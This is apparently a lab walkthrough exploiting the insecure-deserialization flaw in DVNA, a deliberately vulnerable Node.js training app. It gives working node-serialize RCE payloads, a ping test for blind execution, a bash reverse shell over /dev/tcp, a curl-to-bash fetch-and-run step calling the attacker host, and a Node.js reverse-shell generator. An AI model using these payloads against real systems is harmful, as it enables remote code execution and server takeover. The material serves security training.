Node.js - Insecure Deserialization : DVNA
Lab :
- Vulnerability name : - A8 - Insecure Deserialization
Deployment :
docker option
Networking :
Vulnerable App IP: 172.17.0.2
Kali machine IP : 172.17.0.1
- Note: - I was using docker container, if you want to check container IP you can use the below command - docker inspect --format '{{ .NetworkSettings.IPAddress }}' container_name_or_id
 
Understanding Application Behaviour :
The vulnerable function located at this url
http://127.0.0.1:9090/app/bulkproducts?legacy=truewe can see that the application is sharing with us the json data format as below
[{"name":"Xbox 360","code":"15","tags":"gaming console","description":"Microsoft's flagship gaming console"},{"name":"Playstation 3","code":"17","tags":"gaming console","description":"Sony's flagshipgaming console"}]copying json data to a file & uploading that file to the application to see how the app is handling the request

the app is redirecting us to the product page, and if we follow the redirection we can see that the app is printing the json data that we uploaded

Triggering the Vulnerability :
I tried first to inject the following payload which just execute remote command "ls" to see if the application would print the output of the command in the table
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls', function(error, stdout, stderr) { console.log(stdout) });}()"}
but got an error message
 
However, it might be that the app executed our command successfully but it's not processing the output correctly, or we are in a blind injection situation, so I tried another method to check for blind Injection , one example can be using ping command, and ask the app to ping our host by forwarding this payload :
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ping 172.17.0.1', function(error, stdout, stderr) { console.log(stdout) });}()"}and capturing icmp packets on our host using this command
tcpdump -nni ethernet_interface icmpand after we uploading the ping payload we can see that the app is successfully executed our command!

Reverse Shell - BASH TCP :
hosting the following shell.sh using python SimpleHTTPServer
bash -i >& /dev/tcp/172.17.0.1/4242 0>&1passing the following payload to the app ( the payload just curl the shell.sh file, to check that the application can fetch the file correctly )
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('curl <http://172.17.0.1/shell.sh>', function(error, stdout, stderr) { console.log(stdout) });}()"}and we can see that the app fetched our file

now passing this payload to first fetch the file (curl) & execute it (by piping it to bash)
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('curl <http://172.17.0.1/shell.sh> | bash', function(error, stdout, stderr) { console.log(stdout) });}()"}and we got the shell on our host!

Reverse Shell - Node.js :
for a stable shell, we can rely on JS reverse shell, I've tried using the nodejsshell.py script (https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py) which generates the JS payload for us
Running the script
python nodejsshell.py 172.17.0.1 4242
now we can place the revers shell JS payload inside the function body of the serialized payload (as described in this article :https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
the final payload would be like this
{"rce":"_$$ND_FUNC$$_function (){ .. place the JS payload here .. }()"}and we got the shell !

Last updated
Was this helpful?